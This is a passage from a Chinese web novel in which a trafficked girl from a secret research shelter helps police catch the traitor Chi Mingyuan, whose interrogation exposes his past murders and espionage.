方小满塞给他一个大馒头,“吃你的吧,真当我们什么钱都愿意赚?” 池希委屈道:“小玉都愿意保护我哥。” 方小满:“你看你哥的长相,你再看看你,保护你我都心累。” 池希:“……” 他果然还是不适合这个世界。 桑白玉几人没能等到池明远。 海关那边也没有池明远过境的信息。 不过这不能证明池明远没进入华国境内。 他可以乔装打扮,也可以走其他路。 关键是,他究竟会不会来? * 池茗这几日一直心神不宁,尤其是见过吴元青后。 她竟然还梦到过吴元青一次,梦到吴元青到处找女儿。 类似的梦她做过无数遍,但情况是相反的,从前的梦里是她在找父亲。 她走丢的时候已经七岁,懂事了,什么都知道。 那天幼儿园的老师说要带她去找爸爸妈妈,然后她就出现在火车站。 一个陌生女人牵着她的手,告诉她爸爸妈妈就在火车上。 池茗从未坐过火车,见到这庞大陌生的家伙很是激动,信以为真。 她在火车上玩得很开心,没想到从此失去了爸爸妈妈。 来到长峡市的生活并不算好,那时还没有收容所。 一个女人带着几个孩子一起生活,每天都吃不饱。 女人说他们的粮票都是限量的,只能凑合着生活。 池茗每天晚上都躲在屋里哭,她会在地上写自己的名字。 每次被女人发现,女人都会痛骂她,还会动手打她。 女人告诉池茗,她只有这一个名字,她是池家人。 然后池茗就慢慢忘了自己的真实名字。 也忘了父母的长相。 现在想来,那时她已经七岁,不该忘记的。 大概是一遍又一遍的痛打让她不敢再记起。 池茗对父母是有怨恨的,恨他们为什么不去找她,为什么不能救她。 池茗又想起吴元青对她说的话。 很可笑,他居然告诉她,她的同伴都在利用她。 她怎么会不知道? 第66章 池茗起身去查看孩子们的状况。 他们的苦日子其实没持续多久,不知为何,后来的日子忽然好了,他们再也不提粮票不够的事。 池茗很确定,当时一定还是需要使用粮票的,但他们就是突然富有了。 他们搬到收容所,成为一家收养孩子的机构。 但他们绝对不是随便收养孩子,这些孩子都是从各地送过来的。 当地的流浪儿,他们连看都不看一眼。 再往后,收容所里还搬进来各种仪器,有人频繁带着池茗去检查身体。 池茗印象最深的是一个医生,其他人都听他的话,他来的次数最多,检查得也最详细。 后来他似乎找到了想要的数据,很高兴,来的次数就少了。 再然后…… 池茗就知道他们在做什么了。 她的嗅觉很灵敏,他们想研究她身上的秘密。 其他的孩子也是类似的情况,但总体来说,池茗的能力最强。 她的能力一直在变强,大概在15岁时停止,再也没进步过。 15岁那年,她察觉到身体的变化,其他人也能察觉到。 对她密切的监测停止了,曾经对她点头哈腰的人态度有了微妙的变化。 池茗曾一度绝望,她疯狂地要自己继续进步,但完全做不到。 随后,那些人发现,这些孩子中,能力最强的就是池茗,于是又恢复成从前的态度。 所以池茗也没把他们当作同伴。 她只是需要可以生存的方式,很好地生存的方式。 池茗的小灵通响起。 她瞥了一眼陌生号码,犹豫片刻才接起电话。 男人的声音也很陌生,但池茗又觉得很熟悉。 她几乎立刻想到了声音的主人。 池茗皱眉问:“你怎么会打电话给我?” 吴元青惊讶道:“你知道我是谁?” 池茗:“……” 吴元青说:“你别激动,我没有别的意思,只是想确认你的安全,还有……其他人的安全。” “其他人?” “收容所的孩子们,”吴元青道,“几乎都是女孩子吧?她们和你一样,都是被拐到长峡的,都失去了父母,我想她们的父母找她已经找得心力交瘁,你……能放过她们吗?” 池茗冷笑,“我放过她们,就会有人不放过我了,难道要我为了这些和我没关系的孩子,连自己的安危都不顾?” 吴元青说:“可你在那边的日子也很危险。” 池茗声音更大,似乎更想说服自己,“不用过挨打的日子,还有一群人追随,不用为钱发愁,这日子还叫危险?” “他们在利用你。” “我也在利用他们。” “我只是想让你知道,你还有另外一条路,我一定会尽量帮你。”吴元青真诚道,“你才16岁,一切都来得及。” 池茗心情复杂。 她……来得及吗? 她为了避免挨打,和其他人一起把女孩锁在收容所里。 她哄骗她们,让她们相信她是来帮助她们的,让她们乖乖听话。 夏夏几人失去利用价值,男人一心想让她们死,她没能拦住,还帮忙抛尸。 抛尸的过程中被流浪汉看到,她也没阻止男人杀人灭口。 来不及了。 池茗冷漠道:“我讨厌说教。” 吴元青再次重复,“我只想帮助你,我女儿失踪时,和你一样大。” 池茗反问:“如果你见到你的女儿,会认出她吗?” 吴元青沉默。 他不能肯定。 池茗站在他面前时,有一瞬间,他觉得这就是自己的女儿。 可她现在的容貌,他又不敢认。 池茗失望道:“你果然不认得。” “不是的,”吴元青说,“女儿长大了,容貌变了,没办法,但就算如此,我也不会放弃找到她。我……我这里有她小时候的照片,你看看就知道了。” 池茗一怔,接着火速挂断电话,心脏怦怦直跳。 她也不知自己为何如此激动,她好像在害怕什么。 池茗不安地在屋内走动。 小灵通再次响起来。 池茗头皮发麻,她似乎不敢再和吴元青对话。 不过这次不是吴元青打来的。 熟悉的声音响起,对方询问她曼德的下落。 池茗浑身一颤,脑中涌现一些不好的回忆。 她总是被迫做身体检查,还要吃些奇奇怪怪的药。 这些年,她和他接触的时间最多。 池茗老老实实地答道:“最近没见过他。” 男人嘀咕道:“真是怪了。” 池茗问:“您有什么吩咐吗?” “没事,”男人恢复冷静,“见过池明远吗?” 池茗疑惑道:“他也会来长峡吗?他不是绝对不会进入华国境内?” 他们这些人都是池明远张罗起来的,池明远野心极大。 后来他们不再缺钱,也是因为有池明远出资。 但他们从未见过他。 私下里都传,池明远进入华国境内就会死。 池茗也不知是真是假。 男人没有回答池茗,他说道:“你们尽快转移,那几个孩子如果带不走就算了,最重要的是你,你要安全。现在立刻来龙星岗,我来为你安排。” 果然出事了。 池茗呆坐在床上。 会出什么事?池明远的势力不是很大吗?收容所到现在一直安然无事。 还是曼德出事了?也不应该。 池茗拧眉走出房间。 孩子们都在熟睡中。 有几个孩子刚被带过来,情绪不太稳定,每天晚上都要哭闹。 池茗就是为了照顾她们,才一直没睡下。 池茗走到孩子们的卧室前。 她现在应该按照男人的命令,带着她们转移。 可池茗眼前莫名出现夏夏的脸。 夏夏很喜欢她们,不管她们对夏夏做什么,夏夏都认为是友好的。 她把她们当成姐姐,当成家人。 她以为,如果没有她们,她就活不下去了。 其实刚好相反,正因为她们,她才失去了家人。 池茗心里很乱。 她退到房间,踱步良久,鬼使神差地给吴元青打去电话。 吴元青叫了声她的名字。 池茗一直沉默。 吴元青便说:“没关系,我可以等你。” 他很耐心,没有催她。 池茗也不知过了多久,她能清楚地听到吴元青的呼吸声。 知道吴元青一直没有挂断电话,这让她有很安心的感觉。 池茗终于下定决心,问道:“那些孩子走失的父母,真的会一直找她吗?我……我的爸爸妈妈也会找我吗?” 吴元青温和道:“小玉有个姐姐,也是孤儿,她刚和母亲团聚。她的母亲为了找她,走遍大江南北,是流浪汉遇害后,她们才发现的。” 池茗怔住。 流浪汉……是被他们害死的流浪汉。 原来还有这个故事。 池茗说:“我知道了,谢谢,再见。” “等等,”吴元青打断她,“我知道你的意思了,我现在可以过去,也可以帮你联络警方,你不需要担心,他们都会帮助你。” 池茗犹豫道:“可是很危险。” 吴元青笑道:“正因为危险,才应该是我们去做。” * 一直到晚上,几人都没能等到池明远。 池昭逐渐不安。 桑白玉没想到他是第一个沉不住气的人。 但稍微一想她便明白了,姜家就在附近,他能冷静到现在,已经很好了。 桑白玉主动说道:“我们出去逛逛吧,顺便买晚饭回来。” 池希反对,“我哥眼睛不好,尤其是晚上,出门太危险了。” 方小满惊讶道:“你一直很听小玉的话。” “这……这不一样嘛,”池希小声说,“我哥眼睛确实不好,我记得他还在楼梯上摔下来过。” 池希的声音越来越低。 他现在回忆起池昭,想到的都是他被漠视的场景。 譬如那次摔倒。 池昭眼睛发病,而且很突然,直接从楼梯上摔了下来。 孟简不在家,只有池希和池明远在。 池希一直在打当时宁蓝很流行的游戏,没注意到池昭。 池明远看到后,第一反应是皱眉,“你搞出这么大的声音,我还以为是家里进人了。” 然后他便去检查家里的安保系统。 池明远从未关心过池昭。 桑白玉说:“我知道的,你别担心,我会小心一些。” 池希说:“就算要出门,也该找厉害的人陪着我哥啊。” 桑白玉惊讶道:“这里还有比我更厉害的人?” 方小满:“……” 边斌:“……” 池希:“……” 方小满怒吼,“你不要再招惹她了!!” 为什么她也跟着中枪! 池昭难得弯起唇,“不用担心,我不是废人,我的眼睛还算正常。” 桑白玉扶着池昭下车。 他说:“我想去姜家看看。” 桑白玉知道他的意思,拉着他往姜家走。 池昭眼睛的状态还不错,能看得清楚。 不过他没有说出来,任由桑白玉拉着。 桑白玉带着池昭往人多的地方走。 池昭奇怪道:“不是去姜家?” “去啊,先去其他地方看看,”桑白玉道,“你放心跟着我,我不会把你带进沟里的。” 池昭:“……” 附近有好几个胡同。 春城实在太小,只有主街上人多。 桑白玉先去了姜家,然后沿着姜家胡同往前走,一直走到主街,果然有几个上了年纪的爷爷奶奶坐着聊天。 桑白玉打听道:“您知道姜家吗?房子破破烂烂的那家。” 池昭刚想说桑白玉打听消息的方式太直接,可能会吓到对方,就见爷爷奶奶们拉住桑白玉的手,“呦,你是谁家的孩子?长得可真俊啊。” “这叫漂亮!看着就讨人喜欢。” “是姜家的孩子吗?不能吧,姜家已经没人了啊。” “难道是玉玲那孩子回来了?” 听到母亲的名字,池昭心念微动。 桑白玉乖巧地蹲下,“是的呢,我的母亲去世了,她走得很早,我对她很陌生,所以想来听听她的故事。” 这下子爷爷奶奶们更怜惜了,“唉,可怜的孩子,原来你是玉玲的孩子。” “那岂不是姜教授的外孙女?” “唉!真是可怜的孩子!” 几人七嘴八舌,面对桑白玉,毫无设防之意。 池昭:“……” 有时候面善也是一种能力。 很强的能力。 “你外公是咱们省会科学研究院的,研究的都是什么国家重点项目,具体的咱也不知道是什么,听说要保密。他可厉害了,留苏大学生,本事可强!” “她外婆也不错啊,算是艺术家?书香门第?而且家里蛮有钱的。” “还有其他几个孩子,都是大人物呢,玉玲也很好,她和你外公在一个单位 ,这叫什么?都是大科学家!” 桑白玉委婉道:“妈妈的性格好吗?” “那可是真的挺不错!”老奶奶眉开眼笑,“你妈妈办事稳妥,挺泼辣的,谁都不怕,但又很有礼貌。我以前教育孩子,都拿你妈妈做榜样。” “玉玲如果还活着,可真了不得。” “你妈妈怎么会走了呢,她当年不是逃出去了?” 桑白玉叹气,“她失踪了,我最近才发现她的遗物,得知她已经走了。我也在找凶手,我听说外公一家人都……真的是我妈妈做的吗?” “不可能!”老奶奶破口大骂,“你妈妈最孝顺了!不仅是对她爸妈,她对我们都很孝顺!经常跑来帮我们干活,谁叫她,她都高高兴兴应下来。他们兄弟姐妹感情最好,她怎么会杀人?!那帮警察乱说的!” “就是,孩子,你可别信这话,你妈不可能杀人,说我杀人都更可信!” “你啊,你确实不太像好人。” “……” 大家七嘴八舌地帮姜玉玲伸张正义。 在他们心目中,姜玉玲是个明媚且正义的人。 她只会路见不平拔刀相助,不可能对家人动手。 他们还说,姜家人都是很好的人,性格温和,从不欺负邻居,谁家需要帮忙,总是姜家人第一个到场。 当初姜家出事,他们还自发地去巡逻、找凶手,可惜没找到有用的线索。 池昭安静地听着。 原来他也有很好的家人。 他的母亲不是凶手,是受害者。 大家骂了好一会儿,都有些伤心。 姜家人是他们的老朋友,当年发生这种事,他们连续几个月都没睡好。 桑白玉见好就收,她最后问道:“你们听说过我爸吗?他姓池,来过家里吗?” 几人迷茫道:“还有这么一号人?” “玉玲当时就交男朋友了?” “其实我听警察说过几句,还怀疑玉玲是为了男人动手,也怀疑过那个男人,但这真不可能,玉玲不是这种人。” 池昭悬着的一颗心彻底放了下来。 桑白玉把池昭带到姜家门前。 “你看,阿姨不可能是凶手,她一定是被骗了,是池明远故意接近阿姨,目的是那份绝密资料,还害死了大姐的战友。” 池昭笑笑,“你带我过来,就是想安慰我。” 桑白玉点头,“你冷着脸时,不如笑的时候好看,我比较希望你好看一点儿。” 池昭哭笑不得。 他笑道:“我知道了,现在最重要的事情就是在华国境内抓住池明远,我妈是怎么死的,只有他知道。” 桑白玉说:“他如果要来取这笔钱,应该快过来了,他的乔装水平好吗?我们会不会认不出他?” 池昭拧眉,“我不太清楚,不过我们已经把银行的人控制住了,没人能给他通风报信,他只能亲自过来一趟,我想依他的性格,是不会放弃这笔钱的。最重要的是,我怀疑这里不只有钱。” 桑白玉点头,“那就继续等着吧。” 晚上银行不营业。 不过桑白玉几人还是轮流看守,以免出现问题。 翌日一早,桑白玉去买了早饭,看到银行的工作人员陆陆续续上班。 这几名工作人员都是后安排过来的,原先那批人都被控制在家里。 桑白玉聚精会神地盯着银行门口。 方小满打着哈欠说道:“今天我盯后门吧,这个池明远很怕死,后门也很重要。” 桑白玉还是有些担心。 就在这时,桑白玉接到一通电话。 话筒里传来的声音很陌生,但桑白玉意外地认出了她。 池茗的声音很低,“他……扮成了女人。” 桑白玉:“……” 池昭:“……” 边斌:“……” 池希绝望地向后倒去。 他爸……扮成了女人?!啊?! * 收容所彻底乱了套。 几个工作人员刚起来,就发现收容所内的孩子都消失了。 池茗最后走出来,和其他人一起大惊失色。 这些孩子是她和吴元青转移走得,吴元青想让她也离开,但被池茗拒绝。 从接到男人的电话起,池茗就觉得,一定有重要的事情发生了。 她好像还能做些什么。 孩子消失,几人的愤怒都扑向池茗。 “怎么会出这种事?!走了这么多人,你一点儿都没感觉到吗?!” 池茗冷着脸说:“只要我一个人看着,还要你们做什么?与其在这里责备我,还不如尽快去找人。” 然后她鼓足勇气给男人打了电话。 每次和男人通话,她都要准备很久。 男人没有接电话,池茗其实是松了口气的。 其他人又给其他“领导”打电话,意外得知,池明远已经到了长峡市。 池茗立刻提出将功赎罪,要去保护池明远。 对方当然拒绝,不过池茗和他通了两分钟的电话,听到了船的鸣笛声。 长峡是内陆城市,不靠海,但有一条很宽的河。 池茗立刻赶去过船的渡口,靠气味寻找池明远,还真被她找到了。 不是池茗的能力有多出色,而是池明远的阵仗太大。 他身边全是保镖,这些人一看就不是善茬。 池明远躲在船舱内。 池茗一时间都不知道他是想保护自己还是试图泄露坐标。 池茗在外围观察很久,都没看到池明远。 后来她才发现,不是池明远消失了,他就在船舱里,只不过他穿的是女装。 池茗给桑白玉打完电话,心里很是舒坦。 这一刹那,她有一种自己是正义小警察的感觉,他们应该会表扬她吧! 然而就在池茗收起小灵通的瞬间,身后忽然涌来不同寻常的气味,有人逐步靠近池茗,“那家伙,不对劲。” * 池茗通风报信后,桑白玉更是全神贯注,这回连老人都不放过。 池希更是积极,街边的流浪小孩儿都要盯着看好一会儿。 方小满问:“你认为池明远会伪装成孩子?” 池希严肃道:“我爸很聪明的,我们不能掉以轻心。” 方小满:“……你真的认为他能伪装成孩子?他有缩骨大法??” 池希:“……,哦,是的,骨头不能缩。” 方小满的白眼差点儿翻到天上。 有池希在,她都不是最笨的一个了! 又等了一天一夜,池明远还没露头。 桑白玉又给池茗打了一通电话,却始终没人接听。 桑白玉莫名其妙地担心池茗。 她给吴元青打去电话,想让他帮忙留意,可吴元青也没接电话。 桑白玉心神不宁时,方小满忽然用力推搡她,“那里有个奇怪的人!” 桑白玉看向车外。 池昭说:“等他进入银行后再动手,防止抓错人。” 虽然这样说,但池昭的目光却是汹涌澎湃的。 桑白玉看得出来,他很确定此人就是池明远,只不过习惯了小心谨慎。 被他们“盯上”的是个“女人”,而且是刚被“欺负”过的女人。 他十分狼狈,衣服被撕扯坏了,假发也是错乱的。 他坚定地走进银行。 几人立刻行动。 桑白玉走进银行之前,特意在门外等候,池明远竟然真的是自己来的,没带其他人。 怪了,按照他的性格,为了保住自己的命,应该带大批人马来保护他才是。 桑白玉向里走去。 里面传来男人的叫声,接着是其他办业务的人的尖叫。 桑白玉走进去时,男扮女装的人已经被扣住。 她看着被方小满按在地上动弹不得的男人,嫌弃道:“这会儿想起来扮女装了,想给女人丢人哦,把他扔进车里,等警察过来!” 池明远被押送回长峡。 部队的人过来了一趟,看他们的样子,像是想把池明远直接活吞了。 不过他们还是克制着情绪,要求按照程序进行。 长峡警方严阵以待,段浩早已准备好,池明远刚到市局,就被押到审讯室。 局长亲自来坐镇,还有几个大佬在隔壁房间观察,场面十分严肃。 方小满心满意足地躺在会议室的椅子上,其他人都在。 她伸了个懒腰,说:“这下大姐和二哥不用再过苦日子了,我们终于可以回长峡了!” 桑白玉说:“我们不是已经回来了吗?” “那不一样,以前心里总还记挂着那件事,现在不用了,我们可以安安心心地做生意了!我觉得吧,我们得对玉石店上点儿心,现在的钱越来越难赚了!” 吴元青:“……” 玉石店再不赚钱,就没有赚钱的店了。 方小满是对他们还没成为全国首富感到不满吧? 池茗拖着一身伤走进会议室。 吴元青一惊,起身过去迎,“不是送你去医院了吗,怎么又过来了?” 池茗下意识瞥向桑白玉。 闯进收容所的人果然是她。 池茗淡淡道:“已经做过处理,无大碍。” “那也不行,”吴元青坚持道,“伤筋动骨 一百天,你怎么也得在医院休息个半个月,快点儿回去。” 池茗一动不动,“你骗人。” 吴元青莫名其妙道:“我?我骗你什么了?” 池茗一言不发。 她还是爱闹别扭的年纪。 吴元青无奈道:“你说吧,不管什么要求,我都满足。” 池茗瞥向吴元青,故意不用正眼看他,嘀嘀咕咕道:“你说要给我看你女儿小时候的照片……” 吴元青一怔,弯唇笑起来。 他掏出钱包,递给池茗。 池茗嫌弃道:“我有钱,我才不要你的钱。” 吴元青笑意更深,“里面有照片。” 池茗半信半疑地接过钱包。 吴元青的钱不多,钱包很薄。 这些年他的工资虽然不低,但省吃俭用,还要邮给家里的老人和前妻。 前妻是因为女儿失踪才精神崩溃的,现在好不容易能过上正常的日子,不容易,他得多照顾。 池茗翻开钱包,果然看到里面放着一张旧照片。 照片实在太旧了,表面布满沟壑,而且被人折叠过。 池茗仿佛能看到,有人一遍又一遍地抚摸照片,她能感觉到照片上的温度。 池茗看着照片中的人,说:“可惜了。” 另一边桑白玉也很放松。 也只有她和宁红英能放松了。 苏蓝移和惠海铭一言不发,池明远必死无疑,他们心中却没有多少轻松的感觉。 不管池明远死多少次,他们的亲人朋友都不会再回来。 惠海铭无比失落。 池昭和池希更是一言不发,安安静静。 桑白玉和宁红英只能小声庆祝,“太好了,大姐再也不用担心了。” “是啊,我们终于能过正常的生活了。”宁红英道,“不过让我丢下技能还有点儿可惜,我是不是该去部队?” 桑白玉肯定地点头,“你很适合。” “孩子们怎么办?”宁红英看向吴元青。 吴元青和池茗连夜把孩子们转移走。 他又带人去解救被池明远手下殴打的池茗,双方起了冲突,池明远狼狈逃走。 现在孩子们都在医院接受检查呢。 吴元青闻言说道:“登报吧,尽全力帮她们找到父母,要给她们一个交代。” 宁红英说:“我来帮忙……如果不违反规定的话。” 吴元青是知道宁红英的本事的,只要是和电有关的,什么东西都能搞一搞。 他头痛道:“你还真得收敛,这是长峡,不是龙星岗。” 池茗漫不经心道:“我还记得她们是从哪里来的。” 几人看向池茗。 池茗不自在道:“我不是想帮忙,我只是不想进少管所。” 她这么一说,吴元青的心情沉重起来。 池茗和多起案件有关,她也要接受调查。 还有流浪汉的死…… 吴元青沉默。 桑白玉安慰道:“想点儿开心的事情,我们还得帮孩子们找家人呢,对了,已经联系到夏夏的家人了,夏夏的家人一直在找她,没有放弃。” 池茗的心紧了一下,落寞道:“找到又有什么用,人已经没了。” “不是哦,”桑白玉说,“夏夏还活着,她运气很好,坠落时有缓冲,虽然受伤了,但不致命,如果小心养护,也不会留下后遗症。” 池茗惊讶道:“夏夏?活着?你确定?” 她明明亲眼看到…… 桑白玉说:“等你接受完调查,可以去见她。” 池茗完全愣住。 在那种情况下,夏夏竟然还能活着?! 只有池昭盯着审讯室。 池明远就在里面。 他必死无疑,没什么可辩驳的,他应该会把姜玉玲的去向说出来吧? 审讯室内,段浩看着让宁蓝国头疼多年的男人,一阵无言。 池明远被抓住后,就陷入癫狂的状态,完全没有从前的影子。 他疯狂地叫嚣,他一会儿哭一会儿笑,嘴里喊着不想死。 段浩冷着脸说:“你手底下的人已经全部交代了,你这些年做的事情,每一件事都交代得清清楚楚。你已经跑不了了,早点儿坦白,还能安静地离开。” 池明远撕心裂肺地叫嚷。 他嚷了足足一个小时,终于筋疲力尽,无力地躺在椅子上。 段浩问:“可以说了?” 池明远看向段浩。 他搞不明白,为什么一瞬间所有人都背叛了他。 池明远问:“你们给了曼德多少钱,他为什么背叛我?你们给了朱安华和陈志明多少钱,他们怎么敢这样对我?!” 段浩说:“不是只有钱能收买人心。” “可朱安华和陈志明都不是好人!他们眼里只有钱!” 段浩微笑,“命也很重要,他们也惜命。” 段浩道:“这些年,部队一直没有放弃找你,尤其是惠海铭。” 池明远茫然地看着段浩。 “我知道得不多,”段浩说,“可以让她进来和你详谈。” 池明远忽然意识到什么,再次剧烈地反抗起来,“不!我不见她!我不想死!” 段浩发现,池明远很害怕惠海铭。 他已经猜到惠海铭的身份。 “既然不想见她,就老老实实交代,我没那么多时间和你纠缠。你是否交代,结局都一样,当年你残忍杀害同伴,背信弃义,背叛华国,桩桩件件,都够你死十回了!还是趁着能开口,多找几个人出来给你陪葬,他们可都是背叛你的人。” 这话算是说到池明远的心坎上。 他是没指望了,那些人也别想过得好。 池明远麻木道:“你们查得都对,是我杀了……” “等等,”局长示意他暂停,“有个人得进来。” 局长看向段浩。 段浩也不知局长指的是谁,疑惑地走出去,就见和池明远有几分相像的俊朗男人走过来。 段浩奇怪地看着他。 这人真怪,在室内还要戴墨镜。 像是有钱的暴发户。 池昭礼貌地伸出手,“你好。” 段浩点点头,“你认识我们局长?” “不认识,我的领导应该和他打过招呼。” 池昭说完,向审讯室走去。 段浩直犯嘀咕。 听池昭的口气,他的领导好像比局长还厉害? 这些人真是深藏不露。 池昭走进审讯室。 池明远瞪大眼睛,很意外,又没那么意外。 池昭说:“不用看我,我是他们的人。” 池明远:“……” 池昭补充,“从始至终都是,从我十岁那年起就是,这些年你做的所有事都在他们的掌控之中。” 池明远:“……” 段浩明显感觉到,池明远可能要被气死了。 他低声提醒,“口供,咱们要口供。” 可别真气死了。 池昭说:“说吧,害死姜家的人是你吗?” 池明远脸色愈来愈差。 姜家……很遥远的人。 他也没想到会那么快就动手。 最开始认识姜玉玲时,池明远对姜玉玲没什么兴趣。 姜玉玲这个人脾气暴躁,很有想法,不是好控制的人。 她倒是看上池明远了,那会儿的池明远每天训练,身材不错,脸也好。 可惜这些年他已经懈怠,连个女娃娃都没打过。 池明远原本对姜玉玲敬而远之,直到了解姜玉玲的家庭。 姜玉玲家里每个人都不简单,尤其是她在部队里的舅舅。 池明远有很多想法,但是缺钱。 他早就有去宁蓝国发展的想法,但缺个投名状。 池明远想在姜玉玲家里搞个投名状。 姜玉玲的舅舅很 欣赏他,认为他是个踏实肯干的小伙子。 姜家其他人听到舅舅表扬他,也很喜欢他。 虽然池明远还没见过姜玉玲的家人,但他敢肯定,他们会接纳他。 然而天有不测风云,他在外做的那些生意居然被姜玉玲的舅舅发现了。 当时这些在华国都是禁止的。 姜玉玲的舅舅觉得池明远不诚实,有很多小心思,对他的印象大打折扣。 在他的影响下,姜家其他人对池明远的印象也不好了。 只有姜玉玲,她一直以为池明远是个普通人。 池明远担心再拖下去会出现意外,于是提前行动,偷走了那份事关国家国防机密的投名状。 随后,他赶到姜玉玲家中。 原因无他,他发现姜玉玲父亲,这位科学家,手里也有不少好东西,都能卖个大钱。 最开始只是进去偷窃,后来被人发现,再往后就一发不可收拾。 这一切姜玉玲都不知情。 完成这些事后,池明远把姜玉玲带到宁蓝国,谎称他找到了失散的家人,要去宁蓝定居。 姜玉玲最开始是不同意的,但到宁蓝国后她就怀孕了。 池明远主动求婚,两人举办了西式婚礼。 这以后,池明远靠着那笔钱做起了生意,渐渐发家。 姜玉玲因为孕期身体各种不适,一直没机会回家。 池明远总是哄骗她,说家里一切都好。 姜玉玲发现不对劲时,是在池昭出生后。 她对味道特别敏感,那天她闻到池明远身上有其他女人的味道。 除此之外,她还嗅到了舅妈的味道。 姜玉玲很惊讶,池明远去见舅妈,无论如何都该和她说一声。 姜玉玲没有打草惊蛇,池明远发家的速度太快,她早就怀疑他究竟在做什么生意。 她暗中调查,果然发现更多证据。 最让她崩溃的是,她试图联系家里,却意外得知他们都已经遇害。 姜玉玲无比悲愤。 她想回华国,却被池明远囚禁在家里,每日都有人看着她。 不管姜玉玲是大骂还是哀求,池明远就是不愿意放她走。 他说他在姜家被瞧不起,他要姜玉玲看着他的势力越来越强。 而且,他还要姜玉玲抚育池昭。 池昭的拳头攥起很久了。 段浩担心他情绪过于激动,会对池明远下手,特意挡在他面前。 池明远怪笑道:“我就是要关她一辈子,她凭什么对我吆五喝六,她不就是比我幸运点儿,有个好家庭吗?我伺候她那么多年,也该换一换了!” 他看向池昭,“你生气吗?很愤怒?你有什么好生气的?没有我哪儿来的你!你就是不知足!你是忘本!这些年我给了你多少,你居然背叛我!” 池昭闭上眼睛,轻轻吐气。 池明远神色张扬,“我可以告诉你,我做的事情还不止如此,我还做了更多!我最后悔的事情,就是让姜玉玲逃了!她居然还能逃走!不过我敢保证,她一定已经死了,她活不下去!” 池昭猛地睁眼,“你说什么?你说,她是逃走了?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完结】 第67章 对桑白玉来说,现在最重要的工作就是找到被拐孩子们的父母。 她想用自己的能力帮忙,可惜这些孩子的家乡离得太远,她没办法判断准确。 桑白玉和方小满忙了一会儿,医院那边打来电话,说是有一个孩子的情况不太好,他们不知道该怎么处理。 其他人都忙着,大姐、二哥的情绪都不好,桑白玉主动去处理这件事。 吴元青起身说道:“我和你一起去吧。” “不用,”桑白玉朝他眨眨眼睛,“你也有要做的事情,留下来吧,一会儿她也要进去。” 吴元青看向池茗。 池茗不自在道:“我不是你女儿,我小时候不长这样,不需要你陪。” 吴元青心头苦涩,不过这一结果他早就猜到了。 他当年得到的消息是女儿被带到宁蓝国,池茗一直生活在长峡市。 长峡市和龙星岗虽然挨着,但也不一样。 吴元青道:“你也要接受调查,我毕竟是警察,比较了解,我和你一起吧。小玉,你小心。” 桑白玉摆摆手,“只是去趟医院而已,有什么好小心的?那边都是部队的人,很安全的,我马上就回来。” 桑白玉和方小满赶往医院。 方小满的父亲虽然也是被池明远害死的,但她才刚知道,心情起伏没有惠海铭那么大,她的状态还不错。 方小满唠唠叨叨道:“最重要的工作明明就是给孩子们找到家人,我看警力应该都放到这里。不过审池明远也很重要啦,得把他们的人都抓起来,我不相信就收容所的那几个人能支起这么大的摊子。” 桑白玉也是这样想的。 在收容所外面,一定还有更多的人。 桑白玉说:“那几个人已经被抓起来了,都不是什么硬骨头,好审,就看池明远会不会咬人出来了。不过就算咬出来,也涉及两个国家,还是难办,池明远恐怕真能多活两年。” 就他的这些罪证,都要花大量时间来清理。 说话间,两人已经到医院楼下。 方小满放好摩托车,桑白玉正要往医院里走,一个穿着白大褂的男人走了过来。 方小满低声对桑白玉说道:“这人好像有点儿眼熟。” 桑白玉看向男人。 是眼熟,但不是长相眼熟,而是……气味。 只是一瞬间,桑白玉便想起是在哪里闻到这股气味。 她瞪大眼睛,下意识想把方小满拉走。 医生忽然看向二人,露出奇怪的笑容,“我们见过面吗?” * 审讯室内,池昭情绪激动地站起来,“你说我妈是逃走的?!” 池明远说:“事到如今,我还有什么好撒谎的?我是不明白她是怎么逃走的,明明已经派很多人盯着她,一定有内鬼!” 段浩无语,“你看谁都像内鬼,连你身边的助理、保镖你都觉得是内鬼,你还有信得过的人吗?” 池明远不在意道:“他们都是小角色,信得过也好,信不过也罢,有什么关系?要对一切保持怀疑,才不会轻易掉进陷阱。” 段浩说:“你就是对一切都太怀疑,现在才会被抓吧?” 池明远:“……” 池昭摇了摇头,“不对,我妈是被人抓走的,她的资料曾经出现在收容所。” 池明远看向池昭,“收容所?什么收容所?” 此话一出,审讯室内所有人都愣住。 抓到池明远,就是抓到了最大的BOSS,他们以为收容所的案子已经结束了。 池明远……不知道收容所? 这不可能。 段浩急道:“你在长峡市搞了个收容所搞研究,还杀了几个孩子和一个流浪汉!你别想逃避!” 池明远露出森然的笑容,“我杀过比他们更重要的人,我杀的人还少吗,需要否认?” 段浩惊骇地看向池昭。 池明远说得对,他连姜家和卖国害死战友的案子都承认了,没理由不承认收容所的案子。 难道……池明远真的不知道收容所的事? 可他们都说自己是池家的人,池茗甚至姓池! 池昭很快恢复冷静,“你不认识池茗?” “不认识。” “她在船外见过你。” “哦,原来是她,”池明远说,“该死,就是她通风报信,她死了吗?” 段浩:“……” 池昭重新坐下,迅速问道:“我妈的嗅觉异常敏感,你知道吗?” 池明远问:“那又如何?” 池茗:“你不想研究?” “研究她的嗅觉,”池明远白了池昭一眼,“研究这些能赚多少钱?对我有什么好处?” 池昭:“……” 他们都搞错了,建立收容所的人不是池明远。 可收容所利用的是池明远的势力,幕后之人会是谁? 池昭说:“现在恐怕要先审另一个人了。” 池茗被带进审讯室。 她交代得比池明远还痛快,“流浪汉是看到我们转移尸体才被灭口,我就在现场,不过动手的不是我。” “哦对了,还有夏夏几人,我真的不是想脱罪,我确实不想杀人,但是……没办法,我只能帮忙处理尸体。” “还有什么呢,以前也 有过发生命案的情况,我得慢慢想。” 段浩打断她,“这些先不用说。” 池茗惊呆了,“这些都不重要?!” 命案都不重要了?! 池茗说:“那是问提拉德吗?他是我的朋友,也是个瘾君子,我们是在长峡认识的,我拜托他带我走,他答应了,然后他就……被害了。” 池昭打量着池茗。 他们同姓,池昭以为,池茗是池明远最得意的作品。 可池明远说他不认识池茗。 池昭问:“收容所的幕后之人是谁?” 池茗再次愣住,“呃,我们都听池明远的吩咐做事。” “你见过池明远?” “……没有。” “其他人见过他?” “好像也没有。” “和他通过电话吗,记不记得他的声音?” “……” 池茗茫然了很久,才抬起头,“这么说起来,我好像从来都没和池明远直接接触过,都是他们转达的。” 池昭问:“他们是谁?” “就是……”池茗困惑道,“就是他们啊,大家都这样说,那个五大三粗的人,好像很有势力,每次来身后都跟着很多人,他是宁蓝国人,没告诉我们姓名。” 池昭猜测道:“是曼德吗?他是宁蓝的军人,你有印象吗?” 